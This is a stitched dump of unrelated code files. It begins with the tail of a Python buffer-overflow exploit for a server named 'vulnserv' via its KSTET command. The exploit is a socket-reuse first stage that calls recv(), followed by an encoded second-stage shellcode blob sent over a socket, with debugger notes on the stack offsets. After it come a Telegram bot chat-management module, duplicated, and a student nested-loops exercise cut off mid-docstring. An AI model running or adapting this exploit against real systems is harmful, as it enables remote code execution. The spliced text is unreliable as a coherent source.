00B6FA08 00401958 /CALL to recv from vulnserv.00401953 <--
00B6FA0C 0000007C |Socket = 7C
00B6FA10 003D4818 |Buffer = 003D4818
00B6FA14 00001000 |BufSize = 1000 (4096.)
00B6FA18 00000000 \Flags = 0
## Examining the instruction at 00401953:
CALL <JMP.&WS2_32.recv>
## right-click and "Assemble", shows the address being called:
CALL 0040252C
^^ Address to call in order to call WS2_32.recv, after setting up the stack.
## If I set a breakpoint on the CALL <JMP.&WS2_32.recv> instruction, this way I can see how the stack is set up for the call. When the breakpoint is hit, Looking at previous instructions leading to it, it shows where the socket_FD is grabbed from!
## At the breakpoint, the stack looks like this, with ESP pointing to the top value:
00B6FA0C 0000007C |Socket = 7C
00B6FA10 003D4818 |Buffer = 003D4818
00B6FA14 00001000 |BufSize = 1000 (4096.)
00B6FA18 00000000 \Flags = 0
## The two instructions before the CALL <JMP.&WS2_32.recv) instruction>:
0040194A |. 8B85 E0FBFFFF |MOV EAX,DWORD PTR SS:[EBP-420] ; |
00401950 |. 890424 |MOV DWORD PTR SS:[ESP],EAX ; |
## Which means, the sock_FD is grabbed from EBP-420 then moved into the stack @esp!
## EBP at this time is:
00B6FFB4
## EBP at the time of crash and when ready to start setting up the call stack is 41414141, so that won't work.
## But, we can add the delta between crash-time ESP and call-time EBP when CALL <JMP.&WS2_32.recv>, adding the delta to crash-time ESP, and subtract the 0x420 from that, which is where the sock_FD will be!
## recv() call-time EBP - 0x420:
## echo "ibase=16;obase=10; 00B6FFB4 - 420" |bc
## 00B6FB94 #dword ptr sock_FD
## dword ptr sock_FD - crash-time ESP:
## echo "ibase=16;obase=10; 00B6FB94 - 00B6FA0C" |bc
## 188 ## need to add this to ESP after short jump back to beginning of payload
#####################################
Based on these discoveries, the solution appears to be:
00B6F9C6 54 PUSH ESP
00B6F9C7 58 POP EAX
00B6F9C8 80EC 03 SUB AH,3
00B6F9CB 50 PUSH EAX
00B6F9CC 5C POP ESP # ^-.: grab ESP into eax, sub 256*3, mov esp,eax
00B6F9CD 8BD8 MOV EBX,EAX # dest buffer, also jmp here later.
00B6F9CF 66:05 8804 ADD AX,488 # ptr sock_FD is here!
00B6F9D3 8B08 MOV ECX,DWORD PTR DS:[EAX] # mov ECX, sock_FD!
00B6F9D5 33D2 XOR EDX,EDX
00B6F9D7 52 PUSH EDX # recv() flags!
00B6F9D8 80C6 03 ADD DH,3
00B6F9DB 52 PUSH EDX # recv size!
00B6F9DC 53 PUSH EBX # buf!
00B6F9DD 51 PUSH ECX # sock_FD!
00B6F9DE 33C0 XOR EAX,EAX
00B6F9E0 05 112C2540 ADD EAX,40252C11
00B6F9E5 C1E8 08 SHR EAX,8
00B6F9E8 FFD0 CALL EAX # ^-.: <JMP.&WS2_32.recv>
00B6F9EA FFE4 JMP ESP # buf!
""" ## End NOTES
sploit = "KSTET "
sploit += "/.:/"
# sploit += "A"*(5005-4) # crash!!!
# sploit += sys.argv[1] # ./kstet_recv.py $(`locate pattern_create.rb |head -n 1` 5001) # 41326341
# `locate pattern_offset.rb |head -n 1` 41326341 5001 # 66
sploit += (
"\x54" # PUSH ESP
"\x58" # POP EAX
"\x80\xEC\x03" # SUB AH,3
"\x50" # PUSH EAX
"\x5C" # POP ESP
"\x8B\xD8" # MOV EBX,EAX
"\x66\x05\x88\x04" # ADD AX,488
"\x8B\x08" # MOV ECX,DWORD PTR DS:[EAX]
"\x33\xD2" # XOR EDX,EDX
"\x52" # PUSH EDX
"\x80\xC6\x02" # ADD DH,2 # note: crashed wrong when bufsz = 256*3, so -1.
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x51" # PUSH ECX
"\x33\xC0" # XOR EAX,EAX
"\x05\x11\x2c\x25\x40" # ADD EAX,40252C11
"\xC1\xE8\x08" # SHR EAX,8
"\xFF\xD0" # CALL EAX ; <JMP.&WS2_32.recv>
"\xFF\xE3" # JMP EBX
) # 38 bytes
sploit += "A"*(66-38)
# sploit += "B"*4
# 62501203 FFE4 JMP ESP
sploit += "\x03\x12\x50\x62" # jmp esp essfunc.dll # DllCharacteristics = 0x0
sploit += "\x90"*2
# echo "ibase=16;obase=10; 100-48" |bc
# B8
sploit += "\xeb\xb6" # jmp short -0x48 = 0xB8, + -2 for the two ops, = 0xb6
# sploit += "C"*(5001 - 66 - 4 - 2 - 2) # Don't really need this anymore.
stage2 = "\x90"*24
stage2 += (
"\xdd\xc0\xba\x16\xf8\xbd\x27\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x4f\x83\xee\xfc\x31\x56\x15\x03\x56\x15\xf4\x0d\x41\xcf\x71"
"\xed\xba\x10\xe1\x67\x5f\x21\x33\x13\x2b\x10\x83\x57\x79\x99"
"\x68\x35\x6a\x2a\x1c\x92\x9d\x9b\xaa\xc4\x90\x1c\x1b\xc9\x7f"
"\xde\x3a\xb5\x7d\x33\x9c\x84\x4d\x46\xdd\xc1\xb0\xa9\x8f\x9a"
"\xbf\x18\x3f\xae\x82\xa0\x3e\x60\x89\x99\x38\x05\x4e\x6d\xf2"
"\x04\x9f\xde\x89\x4f\x07\x54\xd5\x6f\x36\xb9\x06\x53\x71\xb6"
"\xfc\x27\x80\x1e\xcd\xc8\xb2\x5e\x81\xf6\x7a\x53\xd8\x3f\xbc"
"\x8c\xaf\x4b\xbe\x31\xb7\x8f\xbc\xed\x32\x12\x66\x65\xe4\xf6"
"\x96\xaa\x72\x7c\x94\x07\xf1\xda\xb9\x96\xd6\x50\xc5\x13\xd9"
"\xb6\x4f\x67\xfd\x12\x0b\x33\x9c\x03\xf1\x92\xa1\x54\x5d\x4a"
"\x07\x1e\x4c\x9f\x31\x7d\x19\x6c\x0f\x7e\xd9\xfa\x18\x0d\xeb"
"\xa5\xb2\x99\x47\x2d\x1c\x5d\xa7\x04\xd8\xf1\x56\xa7\x18\xdb"
"\x9c\xf3\x48\x73\x34\x7c\x03\x83\xb9\xa9\x83\xd3\x15\x02\x63"
"\x84\xd5\xf2\x0b\xce\xd9\x2d\x2b\xf1\x33\x58\x6c\x66\x7c\xf3"
"\x4a\xc2\x14\x06\xaa\x2d\x5e\x8f\x4c\x47\xb0\xc6\xc7\xf0\x29"
"\x43\x93\x61\xb5\x59\x33\x01\x24\x06\xc3\x4c\x55\x91\x94\x19"
"\xab\xe8\x70\xb4\x92\x42\x66\x45\x42\xac\x22\x92\xb7\x33\xab"
"\x57\x83\x17\xbb\xa1\x0c\x1c\xef\x7d\x5b\xca\x59\x38\x35\xbc"
"\x33\x92\xea\x16\xd3\x63\xc1\xa8\xa5\x6b\x0c\x5f\x49\xdd\xf9"
"\x26\x76\xd2\x6d\xaf\x0f\x0e\x0e\x50\xda\x8a\x2e\xb3\xce\xe6"
"\xc6\x6a\x9b\x4a\x8b\x8c\x76\x88\xb2\x0e\x72\x71\x41\x0e\xf7"
"\x74\x0d\x88\xe4\x04\x1e\x7d\x0a\xba\x1f\x54"
)
stage2 += "\xCC" * ((256*2)-24-341-1)
stage2 += "\n"
cx = socket(AF_INET,SOCK_STREAM)
cx.connect(host)
cx.send(sploit)
time.sleep(1)
cx.send(stage2)
cx.close()
| true | true |
f73c4d3021f88dbbefe5ae61c0525aa66a3f5725 | 8,668 | py | Python | nptelegrambot/chats.py | qdot/np-telegram-bot | b31c4309e00d8dbdda18cdbb831ebf39648d7b32 | [
"BSD-3-Clause"
] | null | null | null | nptelegrambot/chats.py | qdot/np-telegram-bot | b31c4309e00d8dbdda18cdbb831ebf39648d7b32 | [
"BSD-3-Clause"
] | 2 | 2016-06-20T20:09:37.000Z | 2016-06-20T20:34:26.000Z | nptelegrambot/chats.py | qdot/np-telegram-bot | b31c4309e00d8dbdda18cdbb831ebf39648d7b32 | [
"BSD-3-Clause"
] | null | null | null | from .base import NPModuleBase
class ChatRedisTransactions(object):
def __init__(self, redis):
"docstring"
self.redis = redis
def add_chat(self, chat_id, chat_title, chat_username):
self.redis.hmset(chat_id, {"id": chat_id,
"title": chat_title,
"username": chat_username})
def set_chat_title(self, chat_id, chat_title):
self.redis.hset(chat_id, "title", chat_title)
def set_chat_username(self, chat_id, chat_username):
self.redis.hset(chat_id, "username", chat_username)
def get_chat(self, chat_id):
return self.redis.hgetall(chat_id)
def get_chats(self):
chats = self.redis.hkeys("chat-status")
pipe = self.redis.pipeline()
for c in chats:
pipe.hgetall(c)
return pipe.execute()
def get_chat_ids(self):
return self.redis.hkeys("chat-status")
def set_chat_id(self, old_chat_id, new_chat_id):
# In case we switch from group to supergroup. Annoying!
self.redis.rename(old_chat_id, new_chat_id)
self.redis.rename(self.get_chat_flag_key(old_chat_id),
self.get_chat_flag_key(new_chat_id))
def update_chat_size(self, chat_id, chat_size):
self.redis.hset(chat_id, "size", chat_size)
self.redis.hset("chat-size", chat_id, chat_size)
def update_chat_status(self, chat_id, chat_status):
self.redis.hset(chat_id, "status", chat_status)
self.redis.hset("chat-status", chat_id, chat_status)
def get_chat_flag_key(self, chat_id):
return "{0}:flags".format(chat_id)
def get_chat_flags(self, chat_id):
return self.redis.smembers(self.get_chat_flag_key(chat_id))
def add_chat_flag(self, chat_id, flag):
self.redis.sadd(self.get_chat_flag_key(chat_id), flag)
def get_flags(self):
self.redis.smembers("chat-flags")
def add_flag(self, flag):
self.redis.sadd("chat-flags", flag)
def remove_flag(self, flag):
self.redis.srem("chat-flags", flag)
class ChatFilters(object):
@staticmethod
def min_size_filter(bot, update, min_size):
count = bot.get_chat_member_count(update.message.chat.id)
if count <= min_size:
return "Chat size is less than {0} members.".format(min_size)
return None
@staticmethod
def max_size_filter(bot, update, max_size):
count = bot.get_chat_member_count(update.message.chat.id)
if count >= max_size:
return "Chat size is greater than {0} members.".format(max_size)
return None
class ChatManager(NPModuleBase):
def __init__(self, redis):
super().__init__(__name__)
self.trans = ChatRedisTransactions(redis)
# Just always add the block flag. Doesn't matter if it's already there.
self.trans.add_flag("block")
self.join_filters = []
def process_status_update(self, bot, update):
if update.message.new_chat_member:
self.process_new_chat_member(bot, update)
elif update.message.left_chat_member:
self.process_left_chat_member(bot, update)
elif update.message.group_chat_created:
self.process_group_chat_created(bot, update)
elif update.message.supergroup_chat_created:
self.process_supergroup_chat_created(bot, update)
elif update.message.migrate_from_chat_id:
self.process_migrate_to_chat_id(bot, update)
elif update.message.new_chat_title:
self.process_new_chat_title(bot, update)
def run_join_checks(self, bot, update):
chat = update.message.chat
for f in self.join_filters:
reason = f(bot, update)
if reason is not None:
if type(reason) is str:
bot.sendMessage(chat.id,
text="Sorry, I can't be in this chat! {0}".format(reason if type(reason) is str else ""))
bot.leaveChat(chat.id)
return False
return True
def process_new_chat_member(self, bot, update):
# from will be user that invited member, if any
# new_chat_member will be member that left
chat = update.message.chat
if update.message.new_chat_member.id != bot.id:
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
return
if not self.run_join_checks(bot, update):
return
self.trans.add_chat(chat.id, chat.title, chat.username)
member_info = bot.getChatMember(chat.id, bot.id)
self.trans.update_chat_status(chat.id, member_info["status"])
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
def process_left_chat_member(self, bot, update):
# from will be user that kicked member, if any
# left_channel_member will be member that left
# We have joined a new channel
chat = update.message.chat
if update.message.left_chat_member.id != bot.id:
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
return
chat = update.message.chat
member_info = bot.getChatMember(chat.id, bot.id)
self.trans.update_chat_status(chat.id, member_info["status"])
def process_group_chat_created(self, bot, update):
# Bot invited as a creating member of a group chat
self.run_join_checks(bot, update)
def process_supergroup_chat_created(self, bot, update):
# Bot invited as a creating member of a supergroup chat (does this
# happen?)
self.run_join_checks(bot, update)
# migration is sent as both from_id and to_id. Both messages contain the
# same information, so we can use that to update ourselves.
def process_migrate_to_chat_id(self, bot, update):
self.trans.set_chat_id(update.message.from_chat_id,
update.message.migrate_to_chat_id)
def process_new_chat_title(self, bot, update):
chat = update.message.chat
self.trans.set_chat_title(chat.id, chat.title)
def broadcast(self, bot, update):
bot.sendMessage(update.message.chat.id,
text="What message would you like to broadcast to groups I'm in?")
(bot, update) = yield
message = update.message.text
chats = self.trans.get_chats()
for c in chats:
if c["status"] not in ["left", "kicked"]:
try:
bot.sendMessage(c["id"],
text=message)
except:
# If we errored out, we've been kicked from the channel.
# Since telegram doesn't notify us we've been kicked, this
# is our only way to know. Update our status accordingly.
self.trans.update_chat_status(c["id"], "kicked")
def add_join_filter(self, join_filter):
self.join_filters.append(join_filter)
def list_known_chats(self, bot, update):
chats = self.trans.get_chats()
msg = "Chats I know about and my status in them:\n\n"
for c in chats:
try:
msg += "{0} - {1}\n".format(c["title"], c["id"])
msg += "- Status: {0}\n".format(c["status"])
#msg += "- Size: {0}\n\n".format(c["size"])
except:
#TODO Fixed left chat info!
pass
bot.sendMessage(update.message.chat.id,
text=msg)
def leave_chat(self, bot, update, block=False):
while True:
bot.sendMessage(update.message.chat.id,
text="Enter the id of the chat you'd like to leave/block, or /cancel.")
(bot, update) = yield
leave_id = update.message.text
leave_chat = self.trans.get_chat(leave_id)
if leave_chat is not None:
break
bot.sendMessage(update.message.chat.id,
text="Not a valid ID for a channel I'm in, try again!")
bot.leaveChat(leave_chat["id"])
if block:
self.trans.add_chat_flag(leave_chat["id"], "block")
def block_filter(self, bot, update):
flags = self.trans.get_chat_flags(update.message.chat.id)
if flags is not None and "block" in flags:
# Don't actually tell chat they're banned.
return "This channel is blocked!"
return None
| 39.579909 | 125 | 0.61479 | from .base import NPModuleBase
class ChatRedisTransactions(object):
def __init__(self, redis):
self.redis = redis
def add_chat(self, chat_id, chat_title, chat_username):
self.redis.hmset(chat_id, {"id": chat_id,
"title": chat_title,
"username": chat_username})
def set_chat_title(self, chat_id, chat_title):
self.redis.hset(chat_id, "title", chat_title)
def set_chat_username(self, chat_id, chat_username):
self.redis.hset(chat_id, "username", chat_username)
def get_chat(self, chat_id):
return self.redis.hgetall(chat_id)
def get_chats(self):
chats = self.redis.hkeys("chat-status")
pipe = self.redis.pipeline()
for c in chats:
pipe.hgetall(c)
return pipe.execute()
def get_chat_ids(self):
return self.redis.hkeys("chat-status")
def set_chat_id(self, old_chat_id, new_chat_id):
self.redis.rename(old_chat_id, new_chat_id)
self.redis.rename(self.get_chat_flag_key(old_chat_id),
self.get_chat_flag_key(new_chat_id))
def update_chat_size(self, chat_id, chat_size):
self.redis.hset(chat_id, "size", chat_size)
self.redis.hset("chat-size", chat_id, chat_size)
def update_chat_status(self, chat_id, chat_status):
self.redis.hset(chat_id, "status", chat_status)
self.redis.hset("chat-status", chat_id, chat_status)
def get_chat_flag_key(self, chat_id):
return "{0}:flags".format(chat_id)
def get_chat_flags(self, chat_id):
return self.redis.smembers(self.get_chat_flag_key(chat_id))
def add_chat_flag(self, chat_id, flag):
self.redis.sadd(self.get_chat_flag_key(chat_id), flag)
def get_flags(self):
self.redis.smembers("chat-flags")
def add_flag(self, flag):
self.redis.sadd("chat-flags", flag)
def remove_flag(self, flag):
self.redis.srem("chat-flags", flag)
class ChatFilters(object):
@staticmethod
def min_size_filter(bot, update, min_size):
count = bot.get_chat_member_count(update.message.chat.id)
if count <= min_size:
return "Chat size is less than {0} members.".format(min_size)
return None
@staticmethod
def max_size_filter(bot, update, max_size):
count = bot.get_chat_member_count(update.message.chat.id)
if count >= max_size:
return "Chat size is greater than {0} members.".format(max_size)
return None
class ChatManager(NPModuleBase):
def __init__(self, redis):
super().__init__(__name__)
self.trans = ChatRedisTransactions(redis)
self.trans.add_flag("block")
self.join_filters = []
def process_status_update(self, bot, update):
if update.message.new_chat_member:
self.process_new_chat_member(bot, update)
elif update.message.left_chat_member:
self.process_left_chat_member(bot, update)
elif update.message.group_chat_created:
self.process_group_chat_created(bot, update)
elif update.message.supergroup_chat_created:
self.process_supergroup_chat_created(bot, update)
elif update.message.migrate_from_chat_id:
self.process_migrate_to_chat_id(bot, update)
elif update.message.new_chat_title:
self.process_new_chat_title(bot, update)
def run_join_checks(self, bot, update):
chat = update.message.chat
for f in self.join_filters:
reason = f(bot, update)
if reason is not None:
if type(reason) is str:
bot.sendMessage(chat.id,
text="Sorry, I can't be in this chat! {0}".format(reason if type(reason) is str else ""))
bot.leaveChat(chat.id)
return False
return True
def process_new_chat_member(self, bot, update):
# from will be user that invited member, if any
# new_chat_member will be member that left
chat = update.message.chat
if update.message.new_chat_member.id != bot.id:
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
return
if not self.run_join_checks(bot, update):
return
self.trans.add_chat(chat.id, chat.title, chat.username)
member_info = bot.getChatMember(chat.id, bot.id)
self.trans.update_chat_status(chat.id, member_info["status"])
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
def process_left_chat_member(self, bot, update):
# from will be user that kicked member, if any
# left_channel_member will be member that left
# We have joined a new channel
chat = update.message.chat
if update.message.left_chat_member.id != bot.id:
chat_size = bot.getChatMembersCount(chat.id)
self.trans.update_chat_size(chat.id, chat_size)
return
chat = update.message.chat
member_info = bot.getChatMember(chat.id, bot.id)
self.trans.update_chat_status(chat.id, member_info["status"])
def process_group_chat_created(self, bot, update):
# Bot invited as a creating member of a group chat
self.run_join_checks(bot, update)
def process_supergroup_chat_created(self, bot, update):
# Bot invited as a creating member of a supergroup chat (does this
# happen?)
self.run_join_checks(bot, update)
# migration is sent as both from_id and to_id. Both messages contain the
# same information, so we can use that to update ourselves.
def process_migrate_to_chat_id(self, bot, update):
self.trans.set_chat_id(update.message.from_chat_id,
update.message.migrate_to_chat_id)
def process_new_chat_title(self, bot, update):
chat = update.message.chat
self.trans.set_chat_title(chat.id, chat.title)
def broadcast(self, bot, update):
bot.sendMessage(update.message.chat.id,
text="What message would you like to broadcast to groups I'm in?")
(bot, update) = yield
message = update.message.text
chats = self.trans.get_chats()
for c in chats:
if c["status"] not in ["left", "kicked"]:
try:
bot.sendMessage(c["id"],
text=message)
except:
# Since telegram doesn't notify us we've been kicked, this
# is our only way to know. Update our status accordingly.
self.trans.update_chat_status(c["id"], "kicked")
def add_join_filter(self, join_filter):
self.join_filters.append(join_filter)
def list_known_chats(self, bot, update):
chats = self.trans.get_chats()
msg = "Chats I know about and my status in them:\n\n"
for c in chats:
try:
msg += "{0} - {1}\n".format(c["title"], c["id"])
msg += "- Status: {0}\n".format(c["status"])
#msg += "- Size: {0}\n\n".format(c["size"])
except:
#TODO Fixed left chat info!
pass
bot.sendMessage(update.message.chat.id,
text=msg)
def leave_chat(self, bot, update, block=False):
while True:
bot.sendMessage(update.message.chat.id,
text="Enter the id of the chat you'd like to leave/block, or /cancel.")
(bot, update) = yield
leave_id = update.message.text
leave_chat = self.trans.get_chat(leave_id)
if leave_chat is not None:
break
bot.sendMessage(update.message.chat.id,
text="Not a valid ID for a channel I'm in, try again!")
bot.leaveChat(leave_chat["id"])
if block:
self.trans.add_chat_flag(leave_chat["id"], "block")
def block_filter(self, bot, update):
flags = self.trans.get_chat_flags(update.message.chat.id)
if flags is not None and "block" in flags:
# Don't actually tell chat they're banned.
return "This channel is blocked!"
return None
| true | true |
f73c4dbf8380cf6a198a4d84e159fd89a6c16d69 | 16,149 | py | Python | src/m3_more_nested_loops_in_sequences.py | franeyjr/19-MoreLoopsWithinLoops | 6e272c2f0f2d5dc63c06023600d1f7def6c393ef | [
"MIT"
] | null | null | null | src/m3_more_nested_loops_in_sequences.py | franeyjr/19-MoreLoopsWithinLoops | 6e272c2f0f2d5dc63c06023600d1f7def6c393ef | [
"MIT"
] | null | null | null | src/m3_more_nested_loops_in_sequences.py | franeyjr/19-MoreLoopsWithinLoops | 6e272c2f0f2d5dc63c06023600d1f7def6c393ef | [
"MIT"
] | null | null | null | """
This project demonstrates NESTED LOOPS (i.e., loops within loops)
in the context of SEQUENCES OF SUB-SEQUENCES.
Authors: David Mutchler, Vibha Alangar, Matt Boutell, Dave Fisher,
Mark Hays, Amanda Stouder, Aaron Wilkin, their colleagues,
and Jack Franey.
""" # DONE: 1. PUT YOUR NAME IN THE ABOVE LINE.
def main():
""" Calls the other functions to test them. """
run_test_largest_number()
run_test_largest_negative_number()
run_test_first_is_elsewhere_too()
def run_test_largest_number():
""" Tests the largest_number function. """
# -------------------------------------------------------------------------
# DONE: 2. Implement this TEST function.
# It TESTS the largest_number function defined below.
# Include at least ** 1 ** ADDITIONAL test beyond those we wrote.
# -------------------------------------------------------------------------
print()
print('-------------------------------------')
print('Testing the LARGEST_NUMBER function:')
print('-------------------------------------')
# Test 1:
expected = 13
answer = largest_number([(3, 1, 4),
(13, 10, 11, 7, 10),
[1, 2, 3, 4]])
print('Expected and actual are:', expected, answer)
# Test 2:
expected = -1111111111111111
answer = largest_number(([], [-1111111111111111], []))
print('Expected and actual are:', expected, answer)
# Test 3:
expected = None
answer = largest_number(([], [], []))
print('Expected and actual are:', expected, answer)
# DONE 2 (continued): Add your ADDITIONAL test(s) here:
# Test 4:
expected = 21
answer = largest_number(([1,2,3,4,5], [10,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
def largest_number(seq_seq):
"""
Returns the largest number in the subsequences of the given
sequence of sequences. Returns None if there are NO numbers
in the subsequences.
For example, if the given argument is:
[(3, 1, 4),
(13, 10, 11, 7, 10),
[1, 2, 3, 4]]
then this function returns 13.
As another example, if the given argument is:
([], [-1111111111111111], [])
then this function returns -1111111111111111.
As yet another example, if the given argument is:
([], [], [])
then this function returns None.
Preconditions:
:type seq_seq: (list, tuple)
and the given argument is a sequence of sequences,
where each subsequence contains only numbers.
"""
# -------------------------------------------------------------------------
# DONE: 3. Implement and test this function.
# Note that you should write its TEST function first (above).
# -------------------------------------------------------------------------
max = 'None'
for a in range(len(seq_seq)):
if len(seq_seq[a]) > 0:
max = seq_seq[a][0]
for j in range(len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] > max:
max = seq_seq[j][k]
if max == 'None':
return None
return max
def run_test_largest_negative_number():
""" Tests the largest_negative_number function. """
# -------------------------------------------------------------------------
# TODO: 4. Implement this TEST function.
# It TESTS the largest_negative_number function defined below.
#
# Include enough tests to give you confidence that your solution
# to this challenging problem is indeed correct.
# -------------------------------------------------------------------------
print()
print('-------------------------------------------------')
print('Testing the LARGEST_NEGATIVE_NUMBER function:')
print('-------------------------------------------------')
# Test 1:
expected = -11
answer = largest_negative_number(([11,2,3,4,5], [-11,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
# Test 2:
expected = None
answer = largest_negative_number(([1,2,3,4,5], [10,9,8,7,6], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
# Test 3:
expected = -2
answer = largest_negative_number(([-4,-2,-6,-12,6], [-4,-5,-3,-4,2,5], [18,19,20,21]))
print('Expected and actual are:', expected, answer)
def largest_negative_number(seq_seq):
"""
Returns the largest NEGATIVE number in the given sequence of
sequences of numbers. Returns None if there are no negative numbers
in the sequence of sequences.
For example, if the given argument is:
[(30, -5, 8, -20),
(100, -2.6, 88, -40, -5),
(400, 500)
]
then this function returns -2.6.
As another example, if the given argument is:
[(200, 2, 20), (500, 400)]
then this function returns None.
Preconditions:
:type seq_seq: (list, tuple)
and the given argument is a sequence of sequences,
where each subsequence contains only numbers.
"""
# -------------------------------------------------------------------------
# DONE: 5. Implement and test this function.
# Note that you should write its TEST function first (above).
#
# CHALLENGE: Try to solve this problem with no additional sequences
# being constructed (so the SPACE allowed is limited to the
# give sequence of sequences plus any non-list variables you want).
# -------------------------------------------------------------------------
answer = 'a'
for j in range(len(seq_seq)):
for k in range(len(seq_seq[j])):
if seq_seq[j][k] <0:
answer = seq_seq[j][k]
if answer == 'a':
return None
for a in range(len(seq_seq)):
for b in range(len(seq_seq[a])):
if seq_seq[a][b] > answer and seq_seq[a][b] <= 0:
answer = seq_seq[a][b]
return answer
def run_test_first_is_elsewhere_too():
""" Tests the first_is_elsewhere_too function. """
# -------------------------------------------------------------------------
# We have supplied tests for you. No additional tests are required,
# although you are welcome to supply more tests if you choose.
# -------------------------------------------------------------------------
print()
print('-------------------------------------')
print('Testing the FIRST_IS_ELSEWHERE_TOO function:')
print('-------------------------------------')
# FYI: The notation below constructs what is called a DICTIONARY.
# It is like a list, but the indices can be any immutable
# objects (here, True or False), not just 0, 1, 2, ... as in lists.
message = {True: 'Your code PASSED this test.\n',
False: 'Your code FAILED this test.\n'}
no_failures = True
# Test 1:
expected = True
answer = first_is_elsewhere_too([(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 2:
expected = False
answer = first_is_elsewhere_too([(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 2, 13, 14]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 3:
expected = False
answer = first_is_elsewhere_too([[], [1, 2], [1, 2]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 4:
expected = True
answer = first_is_elsewhere_too([('a', 9),
(13, 10, 11, 7, 'a'),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected]) # Test 1:
no_failures = no_failures and (answer == expected)
# Test 5:
expected = False
answer = first_is_elsewhere_too([('a', 9),
(13, 10, 11, 7, 'aa'),
[11, 12, 3, 10]])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 6:
expected = False
answer = first_is_elsewhere_too([('a', 'a', 'b', 'b', 'a', 'b')])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 7:
expected = False
answer = first_is_elsewhere_too([()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 8:
expected = True
answer = first_is_elsewhere_too([('a'), (), (), (), ('a')])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 9:
expected = True
answer = first_is_elsewhere_too([('a'), (), (), (), ('a'), ()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 10:
expected = False
answer = first_is_elsewhere_too([('a'), (), (), (), ('b'), ()])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 11:
expected = True
answer = first_is_elsewhere_too(['hello', 'goodbye'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 12:
expected = False
answer = first_is_elsewhere_too(['hello', 'xxxxxxxxxxx'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 13:
expected = False
answer = first_is_elsewhere_too(['1234567890',
'one two three',
'i am free',
'four five six',
'get my sticks',
'seven eight nine',
'i am fine'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 14:
expected = True
answer = first_is_elsewhere_too([(1000 * 'a') + 'b' + (500 * 'a'),
(800 * 'c') + 'd' + 1200 * 'c',
'b'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 15:
expected = True
answer = first_is_elsewhere_too([(1000 * 'a') + 'b' + (500 * 'a'),
(800 * 'c') + 'd' + 1200 * 'c',
(700 * 'eee') + 'b' + (90 * 'd'),
(800 * 'c') + 'd' + 1200 * 'c'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 16:
expected = True
answer = first_is_elsewhere_too([(1000 * 'b') + 'acd' + (500 * 'f'),
(800 * '1') + '234a',
'eeee'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 17:
expected = True
answer = first_is_elsewhere_too([(1000 * 'b') + 'acd' + (500 * 'f'),
'a' + (800 * '1') + '234',
'123'])
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 18:
test1 = [(1000 * 'b') + 'acd' + (500 * 'f'),
(800 * '1') + '234',
'123']
for k in range(95):
test1.append(k * chr(k))
test2 = []
for k in range(30):
test2.append(k * chr(k))
expected = True
answer = first_is_elsewhere_too(test1 + ['a'] + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 19 (continues test 18):
expected = False
answer = first_is_elsewhere_too(test1 + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
# Test 20 (continues test 18):
expected = True
a_inside = (100 * 'b') + 'a' + (100 * 'b')
answer = first_is_elsewhere_too(test1 + [a_inside] + test2)
print('Expected and actual are:', expected, answer)
print(message[answer == expected])
no_failures = no_failures and (answer == expected)
if no_failures:
print('*** Your code PASSED all')
else:
print('!!! Your code FAILED some')
print(' of the tests for first_is_elsewhere_too')
def first_is_elsewhere_too(seq_seq):
"""
Given a sequence of subsequences:
-- Returns True if any element of the first (initial) subsequence
appears in any of the other subsequences.
-- Returns False otherwise.
For example, if the given argument is:
[(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 12, 3, 10]]
then this function returns True because 3 appears
in the first subsequence and also in the third subsequence.
As another example, if the given argument is:
[(3, 1, 4),
(13, 10, 11, 7, 10),
[11, 2, 13, 14]]
then this function returns False because 3 does not appear in
any subsequence except the first, 1 does not appear in any
subsequence except the first, and 4 does not appear in any
subsequence except the first.
As yet another example, if the given argument is:
([], [1, 2], [1, 2])
then this function returns False since no element of the first
subsequence appears elsewhere.
Preconditions:
:type seq_seq: (list, tuple)
